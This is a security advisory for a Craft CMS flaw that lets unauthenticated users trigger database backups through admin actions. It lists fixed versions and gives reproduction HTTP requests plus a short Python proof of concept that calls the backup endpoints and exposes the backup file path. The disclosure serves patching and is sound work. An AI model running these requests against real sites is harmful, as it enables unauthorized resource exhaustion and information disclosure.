# GHSA-v64r-7wg9-23pr: Unauthenticated Craft CMS users can trigger a database backup

## Description
Unauthenticated users can trigger database backup operations via specific admin actions, potentially leading to resource exhaustion or information disclosure.

Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.

Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.

Resources:

https://github.com/craftcms/cms/commit/f83d4e0c6b906743206b4747db4abf8164b8da39

https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04

## Affected Endpoints

- `POST /admin/actions/app/migrate` (unauthenticated)
- `POST /admin/actions/updater/backup` 

## Vulnerability Details

### Root Cause
Certain admin actions are explicitly configured with anonymous access:

```php
// AppController.php
protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
    // ...
];

// BaseUpdaterController.php  
protected array|bool|int $allowAnonymous = self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE;
```

### Attack Vector
1. Send unauthenticated POST request to `/admin/actions/app/migrate`
2. If `backupOnUpdate` is enabled, triggers `Craft::$app->getDb()->backup()`
3. Database backup executes with configured `backupCommand`


## Reproduction Steps

### Prerequisites
- CraftCMS 5.8.19 installation
- Database backups enabled (`backupOnUpdate => true` in config)
- Target accessible via HTTP

### Step-by-Step Reproduction

1. I sent a `GET` request to:

https://host/admin/login

3. I copied the `CRAFT_CSRF_TOKEN` from the `Set-Cookie` header as well as the `csrfTokenValue` included in the response body.

4. I used those values in the following request to trigger the updater initialization:

```http
   POST /admin/actions/updater/index HTTP/1.1
   Host: host
   Cookie: CRAFT_CSRF_TOKEN=xxxxxx
   Content-Type: application/x-www-form-urlencoded

   CRAFT_CSRF_TOKEN=xxxxxxxxx
```

5. After this, I examined the response and found the dynamically generated sign key embedded inside:

```json
   Craft.Updater("updater").setState({
       "status": "Nothing to update.",
       "finished": true,
       "returnUrl": "dashboard",
       "data": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx{\"migrate\":[]}"
   })
```

7. I then used that extracted `data` value to perform a database backup by issuing:

```
   POST /admin/actions/updater/backup HTTP/1.1
   Host: host
   Cookie: CRAFT_CSRF_TOKEN=xxxx
   Content-Type: application/x-www-form-urlencoded

   CRAFT_CSRF_TOKEN=xxxxxx&data=xxxxxxxxxxxxxxxxxxxxxxxxxx%7B%22migrate%22%3A%5B%5D%7D
```

9. The server responded successfully, initiating a database backup and returning the backup path:

```
   {
       "nextAction": "migrate",
       "status": "Updating database…",
       "data": "582c1863...{\"migrate\":[],\"dbBackupPath\":\"/home/xxxxx/host/craft-cms/storage/backups/sendbird--2025-11-14-142917--v4.15.0.2.sql\"}"
   }
```

### Expected Results
- **Success**: Database backup initiated (check server logs for backup activity)
- **Resource Impact**: High CPU/disk usage during backup
- **Potential RCE**: If `backupCommand` is configured with shell commands

## Proof of Concept Code

```python
import requests
import re

TARGET = "http://192.168.100.46:8080"
session = requests.Session()

# Get CSRF token
r = session.get(f"{TARGET}/admin/login")
csrf = re.search(r'name="CRAFT_CSRF_TOKEN" value="([^"]+)"', r.text).group(1)

# Trigger backup
r = session.post(f"{TARGET}/admin/actions/app/migrate", 
                data={"applyProjectConfigChanges": "false"})
print(f"Backup triggered: {r.content}")
```

## Severity
- **Severity:** HIGH

## Affected Packages
- **craftcms/cms** (composer)
  - Vulnerable: >= 5.0.0-RC1, <= 5.8.20
  - Fixed in: 5.8.21
- **craftcms/cms** (composer)
  - Vulnerable: >= 3.0.0, <= 4.16.16
  - Fixed in: 4.16.17

## References
- https://github.com/craftcms/cms/security/advisories/GHSA-v64r-7wg9-23pr
- https://github.com/craftcms/cms/commit/f83d4e0c6b906743206b4747db4abf8164b8da39
- https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04
- https://nvd.nist.gov/vuln/detail/CVE-2025-68456
- https://github.com/advisories/GHSA-v64r-7wg9-23pr

## Reproduction Steps

To be determined by the reproduction agent.
